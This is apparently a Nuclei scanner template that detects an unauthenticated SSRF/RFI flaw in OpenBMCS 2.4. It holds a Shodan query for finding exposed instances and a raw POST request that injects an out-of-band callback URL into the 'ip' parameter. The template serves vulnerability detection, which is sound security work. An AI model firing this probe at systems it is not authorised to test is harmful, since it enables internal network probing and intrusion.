id: openbmcs-ssrf

info:
  name: OpenBMCS 2.4 Unauthenticated SSRF / RFI
  author: dhiyaneshDK
  severity: high
  description: Unauthenticated Server-Side Request Forgery (SSRF) and Remote File Include (RFI) vulnerability exists in OpenBMCS within its functionalities. The application parses user supplied data in the POST parameter
    'ip' to query a server IP on port 81 by default. Since no validation is carried out on the parameter, an attacker can specify an external domain and force the application to make an HTTP request to an arbitrary
    destination host. This can be used by an external attacker for example to bypass firewalls and initiate a service and network enumeration on the internal network through the affected application, allows hijacking
    the current session of the user, execute cross-site scripting code or changing the look of the page and content modification on current display
  reference:
    - https://www.exploit-db.com/exploits/50670
  metadata:
    shodan-query: http.favicon.hash:1550906681
  tags: ssrf,oast,openbmcs

requests:
  - raw:
      - |
        POST /php/query.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        ip={{interactsh-url}}:80&argu=/

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "http"

      - type: status
        status:
          - 302